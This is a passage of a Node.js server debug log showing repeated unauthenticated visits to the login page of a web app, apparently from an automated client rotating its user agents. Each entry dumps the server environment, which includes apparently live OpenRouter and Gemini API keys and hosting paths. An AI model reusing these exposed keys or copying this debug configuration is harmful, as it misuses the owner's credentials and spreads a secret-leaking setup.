    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; Qin 2; Build/QD4A.240725.201) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.20 Mobile Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:32.248Z server-connect:router Serving templateView /login
2026-02-24T21:21:32.249Z server-connect:app Executing action step identify
2026-02-24T21:21:32.249Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:32.249Z server-connect:auth No login cookie found
2026-02-24T21:21:32.249Z server-connect:output identity: false
2026-02-24T21:21:32.249Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:32.249Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:32.248Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:33.353Z server-connect:router Serving templateView /
2026-02-24T21:21:33.354Z server-connect:app Executing action step identify
2026-02-24T21:21:33.354Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:33.355Z server-connect:auth No login cookie found
2026-02-24T21:21:33.355Z server-connect:output identity: false
2026-02-24T21:21:33.355Z server-connect:app Executing action step restrict
2026-02-24T21:21:33.355Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:33.355Z server-connect:output restrict: undefined
2026-02-24T21:21:33.608Z server-connect:router Serving templateView /login
2026-02-24T21:21:33.609Z server-connect:app Executing action step identify
2026-02-24T21:21:33.609Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:33.609Z server-connect:auth No login cookie found
2026-02-24T21:21:33.609Z server-connect:output identity: false
2026-02-24T21:21:33.609Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:33.609Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 11; SM-G9208; Build/RQ3A.230207.189) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.27 Mobile Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:33.608Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 11; SM-G9208; Build/RQ3A.230207.189) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.27 Mobile Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:34.518Z server-connect:router Serving templateView /
2026-02-24T21:21:34.518Z server-connect:app Executing action step identify
2026-02-24T21:21:34.518Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:34.518Z server-connect:auth No login cookie found
2026-02-24T21:21:34.518Z server-connect:output identity: false
2026-02-24T21:21:34.518Z server-connect:app Executing action step restrict
2026-02-24T21:21:34.519Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:34.519Z server-connect:output restrict: undefined
2026-02-24T21:21:34.554Z server-connect:router Serving templateView /
2026-02-24T21:21:34.554Z server-connect:app Executing action step identify
2026-02-24T21:21:34.554Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:34.554Z server-connect:auth No login cookie found
2026-02-24T21:21:34.554Z server-connect:output identity: false
2026-02-24T21:21:34.554Z server-connect:app Executing action step restrict
2026-02-24T21:21:34.554Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:34.555Z server-connect:output restrict: undefined
2026-02-24T21:21:34.740Z server-connect:router Serving templateView /login
2026-02-24T21:21:34.740Z server-connect:app Executing action step identify
2026-02-24T21:21:34.740Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:34.740Z server-connect:auth No login cookie found
2026-02-24T21:21:34.740Z server-connect:output identity: false
2026-02-24T21:21:34.741Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:34.741Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:34.740Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:34.849Z server-connect:router Serving templateView /login
2026-02-24T21:21:34.850Z server-connect:app Executing action step identify
2026-02-24T21:21:34.850Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:34.850Z server-connect:auth No login cookie found
2026-02-24T21:21:34.850Z server-connect:output identity: false
2026-02-24T21:21:34.850Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:34.850Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Android 12; Mobile; rv:131.0.1) Gecko/131.0.1 Firefox/131.0.1',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:34.849Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Android 12; Mobile; rv:131.0.1) Gecko/131.0.1 Firefox/131.0.1',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:35.964Z server-connect:router Serving templateView /login
2026-02-24T21:21:35.965Z server-connect:app Executing action step identify
2026-02-24T21:21:35.965Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:35.965Z server-connect:auth No login cookie found
2026-02-24T21:21:35.965Z server-connect:output identity: false
2026-02-24T21:21:35.965Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:35.966Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 13; SM-G991XU; Build/TD4A.180114.231) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.2957.65 Mobile Safari/537.36 EdgA/132.0.2957.65',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/login',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:35.964Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 13; SM-G991XU; Build/TD4A.180114.231) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.2957.65 Mobile Safari/537.36 EdgA/132.0.2957.65',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/login',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:57.353Z server-connect:router Serving templateView /
2026-02-24T21:21:57.354Z server-connect:app Executing action step identify
2026-02-24T21:21:57.354Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:57.354Z server-connect:auth No login cookie found
2026-02-24T21:21:57.354Z server-connect:output identity: false
2026-02-24T21:21:57.354Z server-connect:app Executing action step restrict
2026-02-24T21:21:57.354Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:57.354Z server-connect:output restrict: undefined
2026-02-24T21:21:57.578Z server-connect:router Serving templateView /login
2026-02-24T21:21:57.578Z server-connect:app Executing action step identify
2026-02-24T21:21:57.578Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:57.578Z server-connect:auth No login cookie found
2026-02-24T21:21:57.578Z server-connect:output identity: false
2026-02-24T21:21:57.578Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:57.579Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/140.0 Mobile/15E148 Safari/605.1.15',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:57.578Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/140.0 Mobile/15E148 Safari/605.1.15',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:58.299Z server-connect:router Serving templateView /
2026-02-24T21:21:58.300Z server-connect:app Executing action step identify
2026-02-24T21:21:58.300Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:58.300Z server-connect:auth No login cookie found
2026-02-24T21:21:58.300Z server-connect:output identity: false
2026-02-24T21:21:58.300Z server-connect:app Executing action step restrict
2026-02-24T21:21:58.300Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:58.300Z server-connect:output restrict: undefined
2026-02-24T21:21:58.537Z server-connect:router Serving templateView /login
2026-02-24T21:21:58.538Z server-connect:app Executing action step identify
2026-02-24T21:21:58.538Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:58.538Z server-connect:auth No login cookie found
2026-02-24T21:21:58.538Z server-connect:output identity: false
2026-02-24T21:21:58.538Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:58.538Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
